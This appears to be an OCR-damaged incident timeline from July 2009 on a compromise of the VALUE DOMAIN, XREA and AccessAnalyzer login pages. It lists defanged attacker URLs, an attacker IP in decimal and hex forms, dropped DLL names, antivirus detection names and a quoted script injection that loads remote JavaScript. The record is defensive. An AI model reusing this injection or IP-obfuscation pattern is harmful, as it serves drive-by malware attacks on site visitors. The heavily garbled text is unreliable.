m VALUE DOMAIN/XREA/AccessAnalyzer

URL

07/06 VALUE DOMAIN JS 1
(A) ttp:/lwww.value-domain .com/login.php
(B) ttp://1856317799 :888/s.js
(C) ttp://110.165.41.103 :888/dir/m.htm
(D) ttp://110.135.41.103 /dir/show.php
!

07/06

ttp://s03.megalodon.jp/2009-0706-1843-51/https://  www.value-domain.com/login.php
!
07/06 (C) XP
!

07/07 (A) login.php is
(VD )

!

07/07 MS IPA
http://www.microsoft.com/japan/technet/security/advisory/972890.mspx
http://www.ipa.go.jp/security/ciadr/vul/20090707-ms-activex.html

!

07/07 VD

!

07/07 - xrea

!

07/08 AccessAnalyzer JS
(E) ttp://ax.xrea. coml/login.php 2

(F) ttp://1856317799 :888/jp.js
(G) ttp://OX6EA52967 :888/dir2/show.php
(H) ttp://OX6EA52967 :888/dir2/go.jpg
() ttp://1856317799 :888/counter.htm
!

219.101.229.188

07/10 110.135.41.103 = 1856317799 = OX6EA52967
!

07/13 So-net So-net
!

07/21 JS

!
07/21 8:25  AccessAnalyzer
07/21 16:25 VALUE DOMAIN

JS

<SCRIPT LANGUAGE="J&VASCRIPT >
var js = document.createf lement ("script’);
is.src = http: /A 1806317799: 888/ ip. is";
try {document . g=tElement sBuTagName ! head’ J[0]. appendChi ld(is) ;]
catchiexp){]
is = rull;

</SCRIPT>




VD

http://wepawet.cs.ucsh.edu/view.php?hash=c060c4c4a3c128706441effa96466c15&t=1246871592&type=js

VD

http://s03.megalodon.jp/2009-0706-1843-51/https://www.value-domain.com/login.php

JavaScript OFF

ttp://www.value-domain.com/login.php

ttp://ax.xrea.com/support.php
ttp://ax.xrea.com/logout.php
ttp://ax.xrea.com/fag.php
ttp://ax.xrea.com/rules.php
ttp://ax.xrea.com/signup.php

ttp://ax.xrea.com/ (= ttp://ax.xrea.com/index.php)
ttp://ax.xrea.com/login.php

« OS

. VISTA
. 2ch IE

24 WindowsXP |E6,7

10 10 15 WindowsXP 1E6,7

Windows 2000 SP4:
C:\Winnt\System32

Windows XP, Vista:
C:\Windows\System32

carrsv.dll
diskcheck.exe
flashaegh.dll
mnpse.dll
ntst.dll



: UnderForge of Lack (Part2)

VALUE DOMAIN part34
VALUE DOMAIN part35

xrea.com partl46
CORESERVER.JP Partl17

AccessAnalyzer.com Part5 XREA

AccessAnalyzer.com Part6  XREA

Slashdot.jp IE

MEMO

so-net
UnderForge of Lack (Part2) (

(972890)

JS DLOADER.BD
Exploit-MSDirectShow.b
Downloader.Fostrem

18662
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